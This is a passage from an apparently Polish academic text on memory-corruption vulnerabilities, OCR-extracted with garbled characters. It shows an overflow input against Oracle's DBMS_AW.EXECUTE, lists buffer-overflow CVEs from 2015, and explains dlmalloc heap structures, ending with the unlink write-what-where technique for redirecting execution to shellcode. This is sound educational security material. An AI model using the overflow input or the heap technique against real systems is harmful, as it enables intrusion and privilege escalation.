serwerach baz danych Oracle’owych (wersje 11-12), w funkcji DMBS AW.EXECUTE!:

exec dbms aw.execute ('cda

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARNA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARNA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARMNA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARNA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARNA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMNA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARNA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARNA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARNA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') ;

Wydawac by si¢ moglo, ze firma Oracle i jej serwer bazodanowy, istniejacy na rynku od lat, sg
juz wybitnie bezpieczne. Swiadczy¢ moglyby o tym setki wydanych ksigzek i publikacji o
bezpieczenstwie kolejnych serwerdw linii Oracle’a, a jednak i ten produkt podatny jest na klasyczne
przepetienie bufora. Idac dale;j:

e blad oznaczony jako CVE-2015-8126 bedacy wielokrotnym przepelnieniem bufora w
bibliotece 1ibpng w ramach obstugi funkcji png set PLTE,

e bledy cVvE-2015-4947 jako Stack-Based Buffer Overflow w serwerze administracyjnym
IBM Server 6.1.0.x az do wersji 8, w uzyciu przez WebSphere Application Server.

e Dbiledy typu stack-based buffer overflow w ustudze bazodanowej PostgreSQL w wersji 9
— CVE-2015-5289,

e podatno$¢ stack-based buffer overflow w routerach ASUS TM-AC1900, CvE-2015-
6949

° off-by-one W MPEG4Extractor::parseChunk W bibliotece libstagefright W
systemie Android wersja przed 5.1.1, CVE-2015-3829

o Off-by-one w 10AcceleratorFamily w Apple OS X wersji przed 10.10.2. CVE-2015-
1066

14 https://web.nvd.nist.gov/view/vuln/detail?vulnld=CVE-2014-6567
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o stack-based buffer overflow w urzadzeniach Allen-Bradley MicroLogix 1100, CVE-
2015-6490

e stack-based buffer overflow w Adobe Flash Player’u w wersjach przed 18.0.0.241.
Zaréwno pod systemem Windows, Linux, jak i OS X. CVE-2015-5587
e stack-based buffer overflow w Adobe Reader’ze przed wersja 10.x, CVE-2015-5110

Przyktady mozna by dostownie mnozy¢, a te powyzej to i tak jedynie rok 2015 i to zaledwie
drobny utamek odkrytych podatnosci w jedynie najbardziej popularnym oprogramowaniu. Bledy te
uzyskiwaty wskaznik cvss®™® powyzej 9.0, a wigc oznaczajacy wysokq klase ryzyka.

Na podstawie powyzszych przyktadow nie trzeba chyba dalej przekonywac, ze btedy naruszenia
stosu nie dos¢, ze nadal popularne, to jeszcze nierzadko bardzo krytyczne i narazajace cate serwery
na potencjalne wlamania. Wszystkie za$ problemy wynikaja znow tylko i wytacznie z faktu, ze kto$
dostarczyt wigcej danych do bufora, anizeli ten mogt przechowac.

15 Ang. Common Vulnerability Scoring System (zgodnie z: https://www.first.org/cvss/cvss-v30-specification-v1.7.pdf),
czynnik oceniajacy podatnos¢ bezpieczenstwa w skali od 0 do 10.0, przy czym warto$¢ 10.0 oznacza najpowazniejsza
podatnosé.
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4. Bledy naruszen sterty

Btedy naruszen sterty to temat bardzo szeroki, obejmujacy wszystkie subtelne sytuacje, w ktorych
na skutek btgdnego korzystania z alokatorow i dealokatorow pracujacych na stercie, mozna tak
pokierowa¢ wykonaniem si¢ programu, by uzyska¢ inne niz zamierzone efekty dziatania programu.
Aby naruszy¢ btedy zwigzane ze sterta, rowniez tak jak w przypadku biedow naruszen stosu,
bedziemy korzystac z przepetnienia bufora, jednak tym razem znajdujacego si¢ w obszarze pamieci
procesu stanowigcej sterte, a wiec pule robocza przeznaczona do dynamicznych alokacji, majaca
ustawione atrybutu odczytu i zapisu. Poprzez naruszenia struktury sterty, mozemy wywota¢ sytuacje
zwang jako write-what-where, ktora prowadzi do umozliwienia zapisania dowolnie kontrolowanej
warto$ci w dowolnie wybrane miejsce w pamigci procesu. Wartos$¢ ta najczesciej bedzie stanowita
do kilku bajtow (najczesciej cztery w architekturze 32-bitowej i osiem w 64-bitowej, jako podwojne
stowo).

Majac mozliwo$¢ zapisania dowolnej warto$ci w dowolne miejsce pamigci procesu, mozemy
wprowadzi¢ program w stan, w ktorym tylko dzieki pojedynczej modyfikacji specjalnie wybranej
pozycji w pamigci, uda si¢ np. pozyskac przywileje administratora na lokalnym systemie (Privilege
Escalation). Sytuacja arbitralnego zapisu jest mozliwa wtedy, kiedy jesteSmy w stanie naduzy¢
wewngtrzne algorytmy stanowigce implementacje alokatora malloc. Aby jednak dobrze zrozumieé
te koncepty, nalezy oméwi¢ implementacje mechanizmu zarzagdzania pamigcia sterty. Wyczerpujacy
opis jednak wykracza poza zakres tej pracy, wobec czego skupi¢ si¢ jedynie na opisie najbardziej
istotnych niuansow tej implementacji.

4.1, Zasada dzialania alokatora

Wigkszo$¢ programdéw napisanych na przerdzne platformy stosuje implementacje alokatora
pierwotnie zaprojektowanego przez Douga Lea (d1malloc), badz jakas pochodna tej implementacji.
W obecnych czasach, implementacja ta przeszta bardzo wiele modyfikacji, z uwagi na potrzebg
wyposazenia jej o wsparcie dla systemow wielowatkowych, dalsza optymalizacje¢ i przede wszystkim
— Z uwagi na spore problemy z bezpieczenstwem. Powstalo wobec tego wiele pochodnych
implementacji, tj. ptmalloc2 — wersja glibc Thread-Safe, jemalloc wykorzystywana przez
FreeBSD i Firefoxa, tcmalloc wykorzystywana przez Google, 1ibumem — Stosowana w systemach
Solaris. Wszystkie te implementacje mniej lub bardziej r6znig si¢ od siebie pod wzgledem stopnia
zapewnienia cech kompatybilnosci, przeno$nosci, minimalizacji zarzadzanej przestrzeni,
minimalizacji czasu wykonania / ztozonosci, maksymalizacji lokalnosci kolejnych alokacji,
wykrywaniem bledow i naruszen bezpieczenstwa itd. Ponadto niektore alokatory opieraja swoj
algorytm przydzialu blokow alokacji na drzewach samoorganizujacych si¢ (AVL), inne za$ na
prostych arytmetycznie wyliczeniach.

Ogolna zasada dzialania alokatorow sprowadza si¢ do zaalokowania na wstepie pewnej puli
roboczej, a nastepnie takiego nig gospodarowania, by efektywnie przydzielac jej regiony na potrzeby
uzytkownikow alokatora, jednoczesnie przy tym speilniajac wymogi objetosci oczekiwanych
alokacji. By osiagnaé te cele, stosuje sie pojecie chunku?®, ktéry stanowi pojedynczy region z tej puli
roboczej. Region taki moze by¢ w uzyciu, czyli by¢ zaalokowanym, lub by¢ zwolnionym. Regiony
zaalokowane i zwolnione sa ze soba przemieszane. Na poczatku, pula robocza, zwana po prostu
stertq (kazdy watek moze mie¢ swoja wlasng stertg, badz korzysta¢ z jednej wspodlnej, na zasadzie

16 chunk - ang. porcja — w nomenklaturze struktury sterty oznacza region przeznaczony na alokacje. Pojecie to bede
naprzemiennie stosowat w dalszej czesci tej pracy z okresleniem: region alokacji.
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synchronizacji dostepu, jak to si¢ odbywa w alokatorze ptmalloc). Sterta opisywana jest
nastepujaca strukturg:

typedef struct malloc chunk {

size t prev_foot; /* Rozmiar poprzedniego chunku (je$li wolny) */
size t head; /* Rozmiar oraz bit uzytku. */
struct malloc_chunk* fd; /* wskaznika w liscie zwolnionych chunkéw. */

struct malloc chunk* bk;
} mchunk, *mchunkptr;

struct malloc_state {
binmap t smallmap;
binmap_t treemap;
size t dvsize;
size t topsize;
mchunkptr dv;
mchunkptr top;

mchunkptr smallbins[ (NSMALLBINS+1)*2];
tbhinptr treebins [NTREEBINS] ;

Gdzie:

e top - Adres regionu zwanego top chunk lub wilderness chunk. Sktadowa topsize
przechowuje rozmiar tego regionu. Region ten stanowi ostatni, krancowy fragment sterty
1 jest jedynym, ktorego rozmiar moze si¢ zwigkszy¢, tak aby spetni¢ potrzebg alokacji
wiekszej puli pamieci.

e smallbins — tablica naglowkow kubetkéw (ang. bins), przechowujacych liste
dostepnych (a wigc zwolnionych) blokow alokacji (chunkow), ktoérych rozmiar jest
mniejszy od N*' bajtow. Kazdy kubetek zawiera chunki o tym samym rozmiarze.

e treebins — tablica list dwukierunkowych drzew przechowujacych rozmiary
poszczegdlnych chunkow.

e smallmap, treemap — mapy bitowe opisujace, ktory elementy drzew smallbins i
treebins sg wolne, a ktore zarezerwowane. Projekt korzystajacy z map bitowych jest
nowsza implementacja, ktorej nie bede analizowac w tej pracy. Skupig si¢ za$ na starszej
implementacji, trzymajacej bit uzycia bezposrednio w strukturze chunku.

e dv — (ang. Designated Victim), preferowany chunk do obstugi matych zadan alokacji,
ktore nie znajduja idealnego dopasowania. Z reguly bedzie to chunk powstaty w wyniku
podzielenia ostatnio przydzielonego wigkszego bloku niz nastapito zadanie.

Struktura mchunk, stanowigca jednoczesnie nagtéwek pojedynczego regionu alokacji, chunka,
jest najwazniejszg konstrukcja budujaca sterte. Zasadniczo, cata zaalokowana sterta sktada si¢ z
nagtéowka malloc state i zbioru regionéow alokacji. Kazdy za$ region alokacji sktada si¢ z
nagtéwka malloc chunk i pewnego obszaru pamigci na dane do przechowania, w zaleznosci od
rozmiaru utworzonego podczas tworzenia struktury sterty. Na poczatku cyklu zycia procesu, image
loader poczatkowo inicjalizuje wszelkie obiekty zwiazane z obstuga sterty, tj. mutexy, liczniki, a
takze przy pomocy sbrk/brk/mmap, luUb HeapCreate (kolejno systemy *nixowe i Windows)
mapuje pewien region pamig¢ci wirtualnej procesu, ustawia parametry odczytu i zapisu i od teraz
region ten stanowit bedzie pulg robocza sterty, lub tez sterte zasadniczo. W ramach kolejnego etapu,
stosowny kod inicjalizuje sterte, a wiec wypehia struktur¢ malloc state oraz dokonuje
partycjonowania przydzielonego regionu pamigci (puli roboczej) tak by utworzyé pewng ilo$¢
chunkéw o rosnacych rozmiarach. Regione alokacji potgczone zostang w ramach listy

17 Warto$é N zalezna jest od implementacji alokatora, typowo 256 bajtow.
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dwukierunkowej, zgodnie z obiektem malloc chunk. Jednoczesnie skladowe smallbins,
treebins, Kazdy z obiektoéw w tych sktadowych stanowi glowe listy dwukierunkowej i efektywnie
wskaznik do pierwszego elementu wskazuje na region alokacji o najwickszym rozmiarze, za$
poprzedniego elementu — region alokacji o najmniejszym (sortowanie malejace, tez zaleznie od
implementacji alokatora).

Jak juz wczes$niej opisano, kazdy region alokacji sktada si¢ tzw. boundary tag, czyli struktury
malloc_chunk poprzedzajacej faktycznie zwrocony wskaznik do zaalokowanego regionu w
wyniku dziatania funkcji malloc (). Struktura ta (jak przedstawiono na rysunku 4.1.) przechowuje
informacje o rozmiarze poprzedniego chunka, tylko wtedy kiedy jest on zwolniony (nie jest w
uzyciu) — to bardzo istotne, rozmiar tego regionu alokacji (bez uwzglednienia rozmiaru boundary
tag). Waznym tutaj jest, ze rozmiar obecnego regionu alokacji jest zawsze zaokraglany do granicy
8 bajtow. Ma to swoje uzasadnienie w fakcie, ze dolne trzy bity tego pola sa zarezerwowane na rzecz
flag regionu alokacji. Flagi te oznaczajg kolejno:

e p—(PINUSE BIT) najmniej znaczacy bit rozmiaru obecnego regionu alokacji. Jesli ten
bit jest wyczyszczony, to oznacza, ze poprzedzajace pole (rozmiar poprzedniego chunka)
jest warto$cig rozng od zera i efektywnie oznacza, ze poprzedni region alokacji jest
zarezerwowanym, a ten za$ zwolnionym. W przeciwnym wypadku, ten region alokacji
jest zarezerwowany i pole przechowujace rozmiar poprzedniego chunka jest wyzerowane
(lub po prostu nieuzywane).

e M—(1s_MMAPPED) kiedy ustawiony, oznacza, ze ponownie, ze ten region alokacji jest w
uzyciu oraz zostal zaalokowany przy pomocy funkcji mmap () — nie zostal za$
przydzielony z puli roboczej zaalokowanej funkcjg brk () / sbrk() .

e A—(NON MAIN ARENA) bit oznaczajacy, ze dany chunk znajduje si¢ poza gtéwna sterta,
zostat on zaalokowany na innej/odrgbnie.

W przypadku kiedy rozmiar obecnego regionu alokacji jest nieparzysty, daje to informacje
dodatkowa, ze ten region alokacji jest w uzyciu. Jesli za§ wielko§¢ chunka jest parzysta, to
poprzedzajacy go region alokacji musi by¢ w uzyciu. Struktura malloc chunk potrzebna jest, aby
w sytuacji, w ktorej obok siebie istnie¢ bgda dwa zwolnione chunki, dokonac¢ ich scalenia w jeden, o
wigkszym rozmiarze. Pozwala to zapobiega¢ fragmentacji sterty i efektywniej zarzadzaé jej
przestrzenig. W pierwszych implementacjach dlmalloca (alokatora Douga Lea) pole rozmiar
obecnego regionu alokacji stosowane bylo do arytmetyki wskaznika i przechodzenia po liscie
regionow alokacji w przod i w tyl. Wiasnie obecno$¢ tej struktury, malloc chunk stanowi gtowny
powod, dla ktérego udaje si¢ naruszy¢ wykorzystanie sterty i efektywnie wywotaé nadpisanie
arbitralnego adresu w pamigci procesu arbitralng wartoscia. Majac sytuacje, w ktorej jedna alokacja
poprzedza druga, mozliwe jest przepehienie tej drugiej alokacji pierwsza i takie zmodyfikowanie
struktury malloc chunk drugiego regionu alokacji, aby uzyska¢ zamierzony efekt. Do
pelniejszego opisu tej sytuacji wroce w dalszej czgséci tego rozdziatu.
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chunk Fif previcus chunk is free, this field contains size

of previcus chunk, slss user data.

This chunk size N M| P

User data

next chunk

Previous size field contains user data since its
previous chunk is allocated.

Allocated Chunk

Rysunek 4.1. Wydzielony zaalokowany chunk i poczqtek nastepnego. Zrédio: [29]

Wszystkie dostepne, a wigc zwolnione chunki zorganizowane sa w kubetkach (ang. binning) i
posortowane rozmiarami. Kubelki opisujg chunki o rozmiarze w réznych przedziatach — odnosi si¢
to do zwykltych bin’ow, za$ tzw. mate kubetki — przedstawione na rysunku 4.2. (w literaturze
fachowej czesto jako: smallbins, fastbins) przeznaczone sa do grupowania matych chunkéw,
mniejszych od N bajtow (najczesciej 256). Kubelki te przechowuja adresy regionow alokacji 0 takich
samych rozmiarach kazdy (w ramach jednego kubetka).

Oxb7fd8408 0xb7fd840c  0xb7fd8410 Oxb7fd8420 0xb7fd842¢c
main_arena | 8045000 0x0 0x804b030 0x804b050 0x0
fastbinsY
" y
Unused space (0 Unused space (16 Unused space (48
bytes) bytes) bytes)
bk bk bk
fd = NULL fd = 0x804b010 fd = NULL
size=16 bytes size=32 bytes size=64 bytes
0x804b000 prev_size prev_size prev_size 0x804b050

r

Unused space (16
bytes)

bk
fd = NULL

size=32 bytes
prev_size 0x804b010

Fast Bin Snapshot

Rysunek 4.2. Binning posortowanych mafych chunkéw. Zrédio: [29]

Jak pokazano na rysunku 4.2., kubetki posortowane sg po rozmiarach alokacji. Pierwszy kubetek
wskazuje region alokacji o dostepnym rozmiarze zerowym. Region alokacji o dostepnym rozmiarze
zerowym bedzie zajmowat tyle miejsca, ile struktura opisujaca dany region alokacji — czyli de facto
16 bajtow na architekturze 32-bitowej. Drugim rodzajem kubetkoéw sg kubetki przeznaczone na
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zadania alokacji o kazdym innym rozmiarze niz te szybko dostepne/mate. Stosuje si¢ tutaj (zaleznie
od implementacji) nieposortowane kubelki, na mate i na wielkie alokacje.Wszystkie przechowujace
regiony alokacji o rozmiarze wigkszym niz rozmiar matej alokacji. Kubelki tego typu stosowane
byly w pierwszych implementacjach alokatora d1mal1loc. Obecnie stosowane sg samoorganizujace
si¢, posortowane drzewa. Rysunek 4.3. przedstawia strukturg¢ tych kubetkow. W pierwszych
implementacjach dimalloc’a, aby uzyska¢ lokalno$¢ alokacji (jedna po drugiej, dla danych
zaalokowanych tuz po sobie), stosowany byt algorytm next-fit lub best-fit zaleznie od rozmiaru
zadania alokacji. Cecha lokalnos$ci alokatorow sprzyja atakom naruszenia sterty, gdyz pozwala na
pewne nadpisanie nastgpujacych po sobie struktur.

Bin1 - Unsorted bin Bin13 - Small bin Bin71 - Large bin
0xb7fd8438 0xb7fd843c 0xb7fd8498  0xb7fd849c 0xb7fd8668 0xb7fd866c
main_arena | fq = bk = L fd= bk = , fd= bk =
-bins 0x804b000 | 0x804b3a8 o 0x804b138 | 0x804b270 o 0x804be60 | 0x804b%ald

l v v

Unused space (88 Unused space (88 Unused space
bytes) bytes) (1008 bytes)
bk=0xb7fd8430 bk=0xb7fd8490 bk=0xb7fd8660
fd = 0x804bde0 fd = 0x804b270 fd = 0x804b9a0
size=104 bytes size=104 bytes size=1024 bytes
0x804b000 prev_size prev_size 0x804b138 prev_size 0x804be60

A

Unused space

A

Unused space (88

Y

Unused space

(992 bytes) bytes) (992 bytes)
bk=0x804b000 bk=0x804b138 bk=0x804be60
fd = 0x804b3a8 —— fd = Oxb7fd8490 fd = Oxb7fd8660
size=1008 bytes size=104 bytes size=1008 bytes
0x8(4bde0d prev_size prev_size 0x804b270 prev_size 0x804b8a0

A

Unused space (88
bytes)

bk=0x804b4e0
fd = Oxb7fd8430
size=104 bytes

0x804b3a8 prev_size 0x804b010

Unsorted, Small and Large Bin Snapshot

Rysunek 4.3. Nieposortowane, male i duze biny. Zrédto: [29]

Wracajac jednak jeszcze do rysunku 4.1, przedstawia on zaalokowany chunk, a wigc taki, ktory
zostat przydzielony w wyniku wywotania funkcji malloc (). Wskaznik zwracany uzytkownikowi,
ktory zazadat alokacji, wskazywa¢ bedzie na pole oznaczone jako ,,mem”. Jesli by cofnaé ten
wskaznik o jedno podwdjne stowo (cztery lub osiem pozycji, zaleznie od architektury: 32 i 64
bitowej) uzyskano by rozmiar przydzielonego bloku. Rysunek 4.4. przedstawia zwolniony blok.
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chunk

r User data of previous chunk since previous
chunk is allocated.

This chunk size N

M]P

mem ————  fd - Points to next chunk in the binlist.

bk - Points to previous chunk in the binlist.

next chunk

Unused Space

Previous size field contains its previous chunk’
s size since previous chunk is free.

Free Chunk

Rysunek 4.4. Wydzielony zwolniony chunk i poczqtek nastepnego. Zrédlo: [29]

Blok ten r6zni si¢ od zaalokowanego w taki sposob, ze zawiera wskazniki kolejno nastepnego i
poprzedniego zwolnionego regionu alokacji w kubetku (binlist). Tworzy to razem dwukierunkowa
liste taczacag wolne regiony alokacji. Wskazniki te nadpisuja pierwsze dwa podwdjne stowa danych

uzytkownika, ktory zazadat alokacji i wypetnit ja jakkolwiek. Jednoczesnie pole, ktore wezesniej

stanowito rozmiar poprzedniego regionu alokacji, jesli ten byt zwolnionym — teraz zawiera ostatnie
bajty danych uzytkownika, za$ ostatnie podwojne stowo z obszaru danych zwolnionego regionu
alokacji, zawiera teraz informacj¢ o rozmiarze poprzedniego, wolnego bloku z listy zwolnionych

blokow.

Ostatecznie pami¢¢ dookota pojedynczej areny (sterty), czyli puli roboczej sterty, przedstawia si¢

nastepujaco:

0x806c000
Top Chunk OH
/ malloc_chunk
top <
Allocated
Chunk
malloc_state:
main_arena
present in malloc_chunk
data segment
f libc.
ey Allocated
NOTE: Main arena dont Chunk
have heap_info.
malloc_chunk
Free Chunk
Chunks: | malloc_ehunk | 504000

Heap Segment
(of process)

Rysunek 4.5. Wyglad stuktury pamieci sterty. Zrédlo: [29]
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Jak wida¢ zatem, bloki niezaalokowane poprzeplatane sa z zalokowanymi. Kazdy blok
poprzedzony jest boundary tagiem czyli strukturg malloc chunk.

Ostatecznie, stosowane sg dwa specjalne regiony alokacji: Top Chunk i Last Remainder
Chunk (lub Designated Victim). Pierwszy z nich, oznaczony na rysunku 4.5. jest krancowym
chunkiem i jako jedyny moze by¢ zwigkszany. Nie nalezy on do zadnego bina. Uzywany jest do
spetnienia zadania alokacji pamigci o rozmiarze przekraczajacym rozmiary dostepnych,
zwolnionych regionow alokacji. Jesli top chunk jest wigkszy od zadanego rozmiaru — zostanie on
podzielony na dwie cze$ci, pierwsza zwracang uzytkownikowi jako chunk zadania alokacji i druga
jako chunk resztowy. Region alokacji resztowej (Last Remainder Chunk) stanie si¢ teraz nowym
Szczytowym Regionem Alokacji (Top Chunkiem) . Jesli top chunk jest mniejszy od zadania alokacji,
system wykorzysta sbrk lub mmap i zwigkszy bufor sterty.

Drugi z tych chunkoéw, Last Remainder Chunk Stanowi wynik ostatniego dzielenia chunkow
przy zadaniu mieszczgcym si¢ w top chunku. Obecnos¢ tego specjalnego bloku alokacji wspomaga
dzialanie zasady lokalno$ci.

4.2.Operacje zarzadzania sterta — alokacja i dealokacja

Aby dobrze zrozumie¢ techniki naduzy¢ bledow zwiazanych ze sterta nalezy poza samym
zrozumieniem struktury sterty, rowniez doktadnie przeanalizowa¢ na czym polega zarzadzanie tymi
strukturami. W ramach zarzadzania stertg stosuje si¢ funkcje alokacji, dealokacji i realokacji — czyli
zwigkszeniem badz zmniejszeniem obecnie zaalokowanego regionu sterty. Na potrzeby wyjasnienia
konceptow w tej pracy, opisze pierwsze dwie z tych metod, realizowane przez funkcje malloc () i
free (). Opis ten jednak bedzie dotyczyt starej implementacji alokatora Douga Lea, nie bede wiec
rozpatrywac aspektéw wielowatkowosci oraz nowoczesnych mechanizmow ochronnych.

4.2.1. Dziatanie funkcji malloc ()

Funkcjamalloc (3), w bibliotece GNU C —glibc—zwanajako libc malloc () otrzymuje
od uzytkownika w parametrze oczekiwang wielko$¢ alokacji. Zwraca¢ za§ ma wskaznik do
przestrzeni, w ktorej uzytkownik bedzie mogt juz zapisywacé swoje dane. W pierwszym kroku,
funkcja ta konwertuje podany rozmiar poprzez zastosowanie makra request2size:

/* pad request bytes into a usable size */
#define pad request (req) \
(((req) + CHUNK OVERHEAD + CHUNK ALIGN MASK) & ~CHUNK ALIGN MASK)

/* pad request, checking for minimum (but not maximum) */
#define request2size(req) \

(((req) < MIN REQUEST)? MIN CHUNK SIZE : pad request(req))

Listing 4.1. Wyglgd stuktury pamieci sterty. Zrédlo: [29]

Makro to przewiduje, ze najmniejsza wielko$cia alokacji bedzie MIN CHUNK SIZE czyli 16, za$
w przypadku podania wigkszej nizZ minimalna warto$¢ — wystapi zaokraglenie podanej wielkosci do
granicy 16 bajtow (najczgsciej, na 32-bitowych architekturach). Nastepnie wewnetrzna funkcja
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chunk alloc () rozpocznie skanowanie kubetkéw o odpowiadajacych rozmiarach, jesli znaleziony
zostanie region alokacji o idealnym rozmiarze — zostanie zwrdocony. Jesli nie, rozwazane jest Zadanie
o malym rozmiarze. Nastapi przeszukanie listy dwukierunkowej zwolnionych chunkow 0
jednakowym rozmiarze lub chunkéow z posortowanych po rozmiarze, w kierunku rosngcym
(przechodzenie listy w tyl). Jesli znaleziony zostanie adekwatny region alokacji, funkcja
chunk alloc() wywola makro unlink() w celu usunigcia tego regionu alokacji z listy
zwolnionych blokéw alokacji (co uczyni go teraz zarezerwowanym blokiem alokacji). Jesli jednak
nie zostanie znaleziony region alokacji o stosownym rozmiarze, zostanie wykorzystany Last
Remainder Chunk. Jesli ow region alokacji jest za duzy, zostanie podzielony na dwie czg$ci —
zwracang uzytkownikowi i nowy Last Remainder Chunk/top chunk. W sytuacji gdy top chunk
zapewni odpowiedni rozmiar alokacji, zostanie uzyty. W przeciwnym razie — system wykona
zwigkszenie rozmiaru obecnego top chunku — tak by uzyska¢ wigkszy chunk i dokonane zostanie
podzielenie tegoz na dwie cze$ci, zwracang uzytkownikowi i Last Remainder chunk.

Doktadne zrozumienie sposobu skanowania i wyboru kubetkow na dang alokacje nie jest istotne
do zrozumienia dalszej czgsci tego rozdzialu. Najistotniejsze jest tutaj wywotanie makra unlink,
ktore zdejmuje dany element listy dwukierunkowej z niej, co daje efekt zarezerwowania danego
regionu alokacji. Ponizszy rysunek przedstawia implementacje tego makra z kodu Douga Lea z roku
2001, kiedy naduzycie naruszen sterty rozkwitalo wsrod specjalistow od bezpieczenstwa
komputerowego:

#define unlink( P, BK, FD ) {
BK P->bk;
FD = P->fd;
FD->bk = BK;
BK->fd = FD;

s

Rysunek 4.2. Makro unlink. Zrédlo: [30]

Makro to pobiera wskaznik nastgpnego bloku z wzgledem obecnego, oraz poprzedniego bloku
wzgledem obecnego. Nastepnie ustawia wskaznik nastepnego bloku, poprzedzajacego obecny —
wskaznikiem nastepujacego po obecnym, za$ wskaznik poprzedniego bloku z nastepujacego po
obecnym — nadpisuje poprzedzajacym obecny. W ten sposdb uzyskujemy standardowa operacije
usuniecia elementu z listy dwukierunkowej. Funkcja ta stanie si¢ najwazniejszym wektorem ataku
W naruszeniach sterty.

4.2.2. Dziatanie funkcji free ()

Funkcja free (3) osymbolu  1ibc free () wbibliotece g1ibc, stanowi algorytm zwalniania
zaalokowanego bloku na stercie w sposob mozliwie jak najbardziej efektywny. W przypadku kiedy
blok wskazywany przez argument funkcji free () wskazuje na region alokacji zaalokowany przy
uzyciu funkcji mmap (bit IS MMAPPED), to zwolnienie nastapi poprzez wywotanie funkcji
systemowej munmap(). Jesli jednak alokacja opierata si¢ na standardowej stercie, to sprawdzone
zostanie, czy zwalniany blok nie graniczy z krancem sterty. Jesli graniczy — zostanie skonsolidowany
z top chunkiem. Jesli jednak zwalniany nie graniczy z koncem sterty, oraz blok poprzedzajacy (lub
nastepujacy) obecnie zwalniany blok jest juz zwolniony — to przy pomocy funkcji unlink(),
przedstawionej na rysunku 4.7., zostanie 6w blok zwolniony i potaczony z poprzednim/nastepnym
w celu utworzenia jednej wiekszej jednostki. Uzyskany w ten sposéb wynikowy blok jest wstawiany

100



do listy dwukierunkowej zwolnionych blokow, Iub stanie si¢ Last Remainder chunkiem jesli
poprzedni Last Remainder chunk zostal potaczony z obecnie zwalnianym blokiem.

4.3. Wykonanie arbitralnego kodu technika unlink ()

Jesli atakujacy zdota poinstruowaé dimalloc do przetworzenia starannie przygotowanego,
falszywego chunka przy pomocy makra unlink (), to mozliwym begdzie nadpisanie dowolnego
pola czterobajtowego (lub o§miobajtowego na architekturach 64-bitowych) w pamigci, arbitralng
warto$cig. Raz jeszcze nalezy podkresli¢ — na skutek spreparowania boundary tag’a danego
kontrolowanego przez atakujacego regionu alokacji, mozliwym jest zapisanie kontrolowanej przez
atakujgcego wartosci pod kontrolowanym przez niego adresie!

W momencie w ktorym program bedzie zwalniat dany blok, lub tez nastepywac bedzie scalanie
dwoch wolnych blokow w jeden — wywotane zostanie makro unlink () . Jesli atakujacy bedzie
kontrolowa¢ blok danych przetwarzany przez makro unlink(), to mozliwym bedzie
wyczyszczenie bitu tegoz regionu alokacji pamigci odpowiadajacego za oznaczenie uzycia
(PINUSE BIT), a nastgpnie ustawienie rozmiaru poprzedniego wolnego chunka na warto$¢ ujemna
co pozwoli na zdefiniowanie wlasnego bloku pamieci (chunka) wewnatrz kontrolowanego przez
atakujacego bufora. Blok ten atakujacy zdefiniuje jako zwolniony region alokacji, a nast¢pnie
odpowiednio poinstruuje strukturg malloc chunk. Wiedzac, ze pole bk znajduje si¢ pod
przesunieciem 12, za$ pole £d pod przesunigciem 8, wystarczy by atakujacy odtozyt adres w pamigci
(minus 12 bajtow), ktory chce nadpisa¢ w wyniku ataku w polu wskaznika nastepnego wolnego
bloku — D w fatszywy chunku, oraz adres kodu powtoki we wskazniku poprzedniego wolnego bloku
—BK. Makro unlink () w efekcie podczas proby usunigcia tego chunka pamigci z wyimaginowanej
listy dwukierunkowe;j, nadpisze dany adres odlozony w polu £d warto$cia pola bk.

Jesli podatny program odczytywaé bedzie np. adres importowanego symbolu / funkcji
systemowej z globalnej tablicy offsetow (ang. Global Offset Table, GOT), W celu wykonania
skoku do danej funkcji systemowej —tj. na przyktad exit (), to zmodyfikowanie takiej wartosci w
efekcie przekierowatoby wykonanie programu do arbitralnie przygotowanego bufora — np.
zawierajacego kod powtoki. Jedyng kwestig niezbedna do zapamigtania jest fakt, ze jednoczes$nie
unlink () nadpisze warto$¢ przesunieta o 8 bajtéw wzgledem poczatku danego bufora — a wigc
kodu powloki. W zwigzku z tym konieczne bedzie zastosowanie instrukcji przeskakujacej osiem
bajtow w kodzie powloki, aby obejs$¢ ten problem. Ta potezna technika exploitacji, odkryta przez
jednego z najwybitniejszych wirtuozéow bezpieczenstwa komputerowego, Alexandra ,,Solar
